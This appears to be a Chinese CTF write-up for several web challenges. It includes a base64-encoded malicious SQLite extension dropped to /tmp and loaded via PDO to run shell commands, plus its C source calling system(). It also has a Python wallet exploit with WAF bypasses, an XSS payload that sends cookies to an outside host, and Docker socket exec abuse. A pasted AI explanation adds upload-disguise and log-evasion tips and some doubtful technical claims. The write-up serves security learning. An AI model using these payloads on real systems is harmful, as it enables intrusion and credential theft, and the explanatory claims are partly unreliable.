AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBEAAAAAAAAAEQAAAAAAAAEAAAAAAAAAmAAAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAAA0EgAAAAAAABkAAAAAAAAA8D0AAAAAAAAbAAAAAAAAAAgAAAAAAAAAGgAAAAAAAAD4PQAAAAAAABwAAAAAAAAACAAAAAAAAAD1%2Fv9vAAAAAGACAAAAAAAABQAAAAAAAACoAwAAAAAAAAYAAAAAAAAAiAIAAAAAAAAKAAAAAAAAAK4AAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAA6D8AAAAAAAACAAAAAAAAAHgAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAUAUAAAAAAAAHAAAAAAAAAJAEAAAAAAAACAAAAAAAAADAAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD%2B%2F%2F9vAAAAAHAEAAAAAAAA%2F%2F%2F%2FbwAAAAABAAAAAAAAAPD%2F%2F28AAAAAVgQAAAAAAAD5%2F%2F9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAABGEAAAAAAAAFYQAAAAAAAAZhAAAAAAAAB2EAAAAAAAAChAAAAAAAAAR0NDOiAoRGViaWFuIDE1LjIuMC00KSAxNS4yLjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAAMAAAAAgAMAJAQAAAAAAAAAAAAAAAAAAAOAAAAAgAMAMAQAAAAAAAAAAAAAAAAAAAhAAAAAgAMAAARAAAAAAAAAAAAAAAAAAA3AAAAAQAXADBAAAAAAAAAAQAAAAAAAABDAAAAAQASAPg9AAAAAAAAAAAAAAAAAABqAAAAAgAMAEARAAAAAAAAAAAAAAAAAAB2AAAAAQARAPA9AAAAAAAAAAAAAAAAAACVAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACcAAAAAQAQALAgAAAAAAAAAAAAAAAAAAAAAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACqAAAAAgANADQSAAAAAAAAAAAAAAAAAACwAAAAAQAWAChAAAAAAAAAAAAAAAAAAAC9AAAAAQATAAA%2BAAAAAAAAAAAAAAAAAADGAAAAAAAPABAgAAAAAAAAAAAAAAAAAADZAAAAAQAWADBAAAAAAAAAAAAAAAAAAADlAAAAAQAVAOg%2FAAAAAAAAAAAAAAAAAACBAQAAAgAJAAAQAAAAAAAAAAAAAAAAAAD7AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAXAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAqAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAA9AQAAEgAAAAAAAAAAAAAAAAAAAAAAAABRAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABjAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAByAQAAEgAMAEkRAAAAAAAA6QAAAAAAAACHAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACZAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACzAQAAEQAXADhAAAAAAAAACAAAAAAAAAC%2FAQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AHJlYzMuYwBfX0ZSQU1FX0VORF9fAF9maW5pAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBmY2xvc2VAR0xJQkNfMi4yLjUAc3lzdGVtQEdMSUJDXzIuMi41AHN0cmNzcG5AR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18Ac3FsaXRlM19leHBsb2l0X2luaXQAZm9wZW5AR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBzcWxpdGUzX2FwaQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2%2F%2F9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAKAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAiAIAAAAAAACIAgAAAAAAACABAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAAKgDAAAAAAAAqAMAAAAAAACuAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD%2F%2F%2F9vAgAAAAAAAABWBAAAAAAAAFYEAAAAAAAAGAAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA%2Fv%2F%2FbwIAAAAAAAAAcAQAAAAAAABwBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAAJAEAAAAAAAAkAQAAAAAAADAAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABQBQAAAAAAAFAFAAAAAAAAeAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAkBAAAAAAAACQEAAAAAAAAKIBAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAADQSAAAAAAAANBIAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAAECAAAAAAAAAQIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADggAAAAAAAAOCAAAAAAAAB8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAADwPQAAAAAAAPAtAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC%2FAAAADwAAAAMAAAAAAAAA%2BD0AAAAAAAD4LQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAAAA%2BAAAAAAAAAC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADAPwAAAAAAAMAvAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAA6D8AAAAAAADoLwAAAAAAAEAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAAChAAAAAAAAAKDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAAAwQAAAAAAAADAwAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAwMAAAAAAAAB4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAUDAAAAAAAADoAgAAAAAAABoAAAAUAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAADgzAAAAAAAA2gEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAASNQAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA%22%3B%0A%0Afile%5Fput%5Fcontents%28%22%2Ftmp%2Fexploit%2Eso%22%2Cbase64%5Fdecode%28%24base64%5Fso%29%29%3B
然後拿 flag 即可
<?php
file_put_contents("/tmp/1.txt","cat /flag_141f80cc2-4400-45f0-9399-4900efb730f5 > /tmp/4.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/exploit.so');
echo file_get_contents("/tmp/4.txt");
POST / HTTP/1.1
Host: 173.32.20.181
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 496
%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=file%5Fput%5Fcontents%28%22%2Ftmp%2F1%2Etxt%22%2C%22cat%20%
"""
這裏ai解釋一下。
你提到的內容涉及利用 SQLite3 擴展機制在受限環境中執行任意代碼,這是一個典型的 安全研究/滲透測試 場景,尤其適用於繞過 putenv 被禁用、無法直接加載 .so 的情況。我們來逐段拆解你提供的信息和代碼,深入分析其背後的知識點、原理、限制與利用方式。
🔍 背景知識:SQLite 擴展加載機制
✅ SQLite3::loadExtension() 與 PDO::SQLite::loadExtension()
- SQLite3 擴展 允許用户加載外部共享庫(
.so/.dll)來註冊自定義函數、聚合器、虛擬表等。 - PHP 提供了兩種方式加載擴展:
SQLite3::loadExtension(string $shared_library)—— 面向過程風格PDO::SQLite::loadExtension(string $shared_library)—— PDO 風格
⚠️ 注意:這些方法默認在 PHP 編譯時啓用 SQLite 擴展支持,但 運行時是否可用受限於兩個因素:
- PHP 配置項:
sqlite3.extension_dir(僅對SQLite3類有效)- SQLite 編譯選項:
SQLITE_ENABLE_LOAD_EXTENSION(必須開啓)
🔒 安全限制與繞過思路
❌ 常見限制
putenv()被禁用 → 無法設置環境變量(如LD_LIBRARY_PATH,PATH,SQLITE_EXTENSION_DIR)sqlite3.extension_dir被設置為一個不可寫路徑 → 無法將.so放入指定目錄open_basedir限制 → 無法訪問/tmp或其他路徑disable_functions包含system,exec,shell_exec等 → 無法直接執行命令
✅ 利用點發現:PDO::SQLite::loadExtension 似乎沒有目錄限制?
這是關鍵突破口!
🔍 實驗現象:
SQLite3::loadExtension('evil.so')→ 報錯:not in extension_dirPDO::SQLite::loadExtension('evil.so')→ 成功加載(即使不在extension_dir)
✅ 原因分析:
sqlite3.extension_dir是 SQLite3 模塊的 PHP 層限制,不是 SQLite 引擎本身的限制。PDO::SQLite的loadExtension方法 直接調用底層 SQLite C APIsqlite3_load_extension(),繞過了 PHP 層的extension_dir校驗!
✅ 結論:
PDO::SQLite::loadExtension不受sqlite3.extension_dir限制!
這是 PHP 實現上的差異,屬於 邏輯繞過漏洞(非官方漏洞,但確實是安全繞過點)
🧨 利用鏈構建
目標:在 putenv 被 ban、無法寫 extension_dir、無法執行命令的情況下,加載惡意 .so 實現代碼執行
步驟:
| 步驟 | 操作 | 説明 |
|---|---|---|
| 1 | 編寫惡意 SQLite 擴展 .so |
在擴展初始化時執行系統命令(如 system()) |
| 2 | 將 .so 上傳到可寫路徑(如 /tmp/evil.so) |
繞過 extension_dir 限制 |
| 3 | 使用 PDO('sqlite::memory:') 創建內存數據庫 |
無需文件,避免權限問題 |
| 4 | 調用 $pdo->sqliteCreateFunction() 或直接 loadExtension('絕對路徑') |
加載擴展 |
| 5 | 擴展自動執行 sqlite3_extension_init() 中的惡意代碼 |
實現命令執行 |
📜 代碼詳解:你提供的惡意擴展
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
SQLITE_EXTENSION_INIT1
🔹 SQLITE_EXTENSION_INIT1
- 宏定義,用於初始化擴展所需的函數指針表
- 必須放在所有函數定義之前
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
🔹 sqlite3_exploit_init:擴展入口函數
- 命名規則必須是:
sqlite3_<擴展名>_init - 當你加載
evil.so時,SQLite 會尋找sqlite3_evil_init - 所以你的共享庫文件名必須是
exploit.so,否則找不到入口!
✅ 重要:若文件名為
evil.so,則函數名應為sqlite3_evil_init
const char *command_file_path = "/tmp/1.txt";
char command_buffer[512] = {0};
FILE *file_handle;
file_handle = fopen(command_file_path, "r");
if (file_handle == NULL) {
return SQLITE_OK; // 靜默失敗,避免報錯
}
if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
command_buffer[strcspn(command_buffer, "\r\n")] = 0; // 去除換行
if (strlen(command_buffer) > 0) {
system(command_buffer); // ⚠️ 執行命令!
}
}
fclose(file_handle);
return SQLITE_OK;
}
🔍 設計亮點:
- 不直接硬編碼命令,而是從
/tmp/1.txt讀取 → 更隱蔽,可動態控制 - 靜默失敗(返回
SQLITE_OK)→ 避免暴露錯誤信息 - 使用
system()→ 實現任意命令執行
🧪 PHP 利用代碼示例
<?php
// 確保目標已上傳 exploit.so 到 /tmp/exploit.so
// 並寫入命令:echo "id > /tmp/out.txt" > /tmp/1.txt
try {
$pdo = new PDO('sqlite::memory:');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 關鍵:使用 PDO 加載擴展,繞過 extension_dir 限制
$pdo->sqliteCreateFunction('load_extension', null); // 某些版本需要前置調用(可省略)
$pdo->query("SELECT load_extension('/tmp/exploit.so')"); // 觸發加載
echo "擴展加載完成,命令應已執行\n";
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
?>
⚠️ 注意事項與限制
| 限制 | 説明 | 繞過建議 |
|---|---|---|
SQLITE_ENABLE_LOAD_EXTENSION 未開啓 |
SQLite 編譯時必須啓用此選項 | 無法繞過,需目標 PHP 支持 |
PDO::SQLite 禁用 loadExtension |
PHP 7.4+ 起,默認禁用 loadExtension 方法 |
需 php.ini 設置 pdo_sqlite.extension_dir 或啓用擴展(多數共享主機禁用) |
| SELinux / AppArmor | 阻止 .so 加載或 system() 執行 |
提權前需繞過 MAC 機制 |
| 路徑不可寫 | 無法上傳 .so |
利用已有可寫目錄(如 /tmp, /var/tmp, upload_tmp_dir) |
open_basedir 限制 |
無法訪問 /tmp |
嘗試上傳到允許路徑(如 session 目錄) |
✅ 總結:知識點提煉
| 知識點 | 描述 |
|---|---|
🎯 PDO::SQLite::loadExtension 繞過 extension_dir |
PHP 層校驗缺失,直接調 SQLite C API |
| 🔐 擴展入口函數命名規則 | 必須為 sqlite3_<name>_init,與文件名匹配 |
| 🧨 利用擴展初始化執行代碼 | 在 sqlite3_extension_init() 中調用 system() 實現 RCE |
| 🧼 隱蔽設計 | 從文件讀命令、靜默失敗、無回顯 → 繞過 WAF/日誌檢測 |
| ⚠️ 依賴條件 | 需 SQLITE_ENABLE_LOAD_EXTENSION 開啓 + PDO 未禁用擴展加載 |
✅ 實戰建議
-
先探測是否支持擴展加載:
try { $pdo = new PDO('sqlite::memory:'); $pdo->query("SELECT load_extension('nonexist')"); } catch (Exception $e) { if (strpos($e->getMessage(), 'not authorized') !== false) { echo "擴展加載被禁用"; } elseif (strpos($e->getMessage(), 'no such file') !== false) { echo "擴展加載可用!"; } } -
上傳
.so技巧:- 利用文件上傳功能 → 改後綴為
.jpg→ 通過 LFI 或路徑拼接移動到/tmp/exploit.so - 利用
move_uploaded_file()到可控路徑
- 利用文件上傳功能 → 改後綴為
-
命令回顯方案:
- 將結果寫入文件 → 用
file_get_contents()讀取 - 或使用 SQLite 自定義函數返回結果(更高級)
- 將結果寫入文件 → 用
- SQLite 官方擴展開發文檔:https://www.sqlite.org/loadext.html
wallet :
當時我們的exp
#!/usr/bin/env python3
"""
Wallet 題目 exploit(錢包轉賬繞過)
核心思路:
1. 網關 WAF 只攔截路徑 /transfer,把請求發到 /transfer/. 就能繞過前置校驗。
2. 後端代碼仍然執行轉賬邏輯,我們不斷給 admin→admin 轉賬,尋找能觸發“精度/溢出/彩蛋”的金額,讓餘額暴漲。
3. 餘額 ≥ 100000.01 時請求 /flag?username=admin 拿 flag。
"""
import argparse
import json
import sys
import time
from math import isfinite
import requests
# ---------- 工具函數:真正發轉賬包 ----------
def try_amount(session, base, amount):
# 繞過路徑:加個點
url = base.rstrip('/') + '/transfer/.'
payload = {"from": "admin", "to": "admin", "amount": amount}
# 先嚐試正常 JSON
headers = {"Content-Type": "application/json"}
try:
r = session.post(url, headers=headers, data=json.dumps(payload), timeout=5)
except Exception as e:
print(f"[!] 請求失敗(utf-8): {e}")
r = None
# 如果 403 被攔,再換 UTF-16 + BOM 嘗試繞過 WAF
if r is not None and r.status_code != 403:
return r
try:
raw = json.dumps(payload).encode('utf-16le')
raw = b"\xff\xfe" + raw # 加 BOM
headers2 = {"Content-Type": "application/json; charset=utf-16"}
r2 = session.post(url, headers=headers2, data=raw, timeout=5)
return r2
except Exception as e:
print(f"[!] 請求失敗(utf-16): {e}")
return r
# ---------- 查餘額 ----------
def get_balance(session, base, username='admin'):
url = base.rstrip('/') + '/balance'
try:
r = session.post(url, json={"username": username}, timeout=5)
if r.status_code == 200:
return r.json().get('balance')
return None
except Exception:
return None
# ---------- 領 flag ----------
def get_flag(session, base, username='admin'):
url = base.rstrip('/') + f'/flag?username={username}'
try:
r = session.get(url, timeout=5)
if r.status_code == 200:
return r.json().get('flag')
else:
print(f"[i] 領 flag 返回 {r.status_code}: {r.text}")
return None
except Exception as e:
print(f"[!] 領 flag 出錯: {e}")
return None
# ---------- 主流程 ----------
def main():
p = argparse.ArgumentParser()
p.add_argument('--target', '-t', required=True, help='目標基址,如 http://ip:3000')
p.add_argument('--sleep', '-s', type=float, default=0.2, help='每次請求間隔(秒)')
args = p.parse_args()
base = args.target
session = requests.Session()
# 候選金額列表(小數/整數/冪次/邊界值)
candidates = []
for v in [0.1, 0.2, 0.3, 0.5, 0.25, 0.125, 0.0000001, 0.0000003, 0.000001, 0.00001]:
candidates.append(v)
for v in [1, 2, 3, 5, 7, 10, 12.34, 99.99, 100, 123.456789]:
candidates.append(v)
for v in [500, 1000, 5000, 10000, 20000, 30000, 40000, 49999.99, 50000, 60000, 90000, 99999.9999]:
candidates.append(v)
for exp in range(-20, 21, 2):
candidates.append(2.0 ** exp)
tried = set()
print(f"[*] 共 {len(candidates)} 個候選金額,開始測試...")
bal = get_balance(session, base, 'admin')
print(f"[i] 初始 admin 餘額: {bal}")
# 先跑一遍候選列表
for amount in candidates:
if not isfinite(amount) or amount in tried:
continue
tried.add(amount)
print(f"[>] 嘗試金額 = {amount}")
r = try_amount(session, base, amount)
if r is None:
time.sleep(args.sleep)
continue
try:
info = r.json()
except Exception:
info = r.text
print(f" -> HTTP {r.status_code} 響應: {info}")
bal = get_balance(session, base, 'admin')
print(f" -> 當前餘額: {bal}")
# 達標就領 flag
if bal is not None and bal >= 100000.01:
print("[+] 餘額已達標,正在領取 flag...")
flag = get_flag(session, base, 'admin')
if flag:
print(f"[FLAG] {flag}")
else:
print("[!] 餘額夠了但領 flag 失敗")
return
# 記錄最佳 bonus 金額
try:
bonus = float(r.json().get('bonus', 0) or 0)
except Exception:
bonus = 0.0
if 'best_bonus' not in locals():
best_bonus, best_amount = bonus, amount
else:
if bonus > best_bonus:
best_bonus, best_amount = bonus, amount
time.sleep(args.sleep)
# 如果某個金額 bonus 特別高,就反覆刷它
if 'best_bonus' in locals() and best_bonus > 0:
print(f"[i] 最佳金額 {best_amount} 平均 bonus {best_bonus},開始連刷...")
max_iters = 20000
for it in range(1, max_iters + 1):
r = try_amount(session, base, best_amount)
if r is None:
time.sleep(args.sleep)
continue
try:
bonus = float(r.json().get('bonus', 0) or 0)
except Exception:
bonus = 0.0
bal = get_balance(session, base, 'admin')
print(f"[+] 第 {it} 次: bonus={bonus}, 餘額={bal}")
if bal is not None and bal >= 100000.01:
print("[+] 餘額達標,領取 flag...")
flag = get_flag(session, base, 'admin')
if flag:
print(f"[FLAG] {flag}")
else:
print("[!] 領 flag 失敗")
return
time.sleep(args.sleep)
print("[-] 所有候選金額已跑完,未能達標。可擴大候選集或換繞過方式再試。")
if __name__ == '__main__':
main()
go-storage
XCTF final 2025 N1Star web wp - ENOCH-lyn Blog
只找到這個,下面是他們內容:
"""
這題復現會有玄學問題,例如XSS拿到admin之後登不上去等
Go 端用 os.CreateTemp(uploadDir, fileInfo.Filename),如果文件名裏包含 *,隨機串會替換第一個 *,保留後綴。 因此使用*.html 即可上傳html讓bot訪問,通過XSS獲取admin的cookie
提交URL為http://nginx-proxy/uploads/xxx.html
<html>
<script>fetch("http://IP:PORT?c="+document.cookie)</script>
</html>
然後訪問/admin端點,是一個使用superagent的任意url訪問
但是superagent的node客服端支持向Unix域套接發送請求,同時docker掛載了docker.sock
使用http+unix://%2Fvar%2Frun%2Fdocker.sock/_ping 探活
然後POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/storage-service/exec
{
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["/bin/sh","-lc","cp /flag.txt /app/src/uploads/flag.txt"]
}
會獲取到一個ID
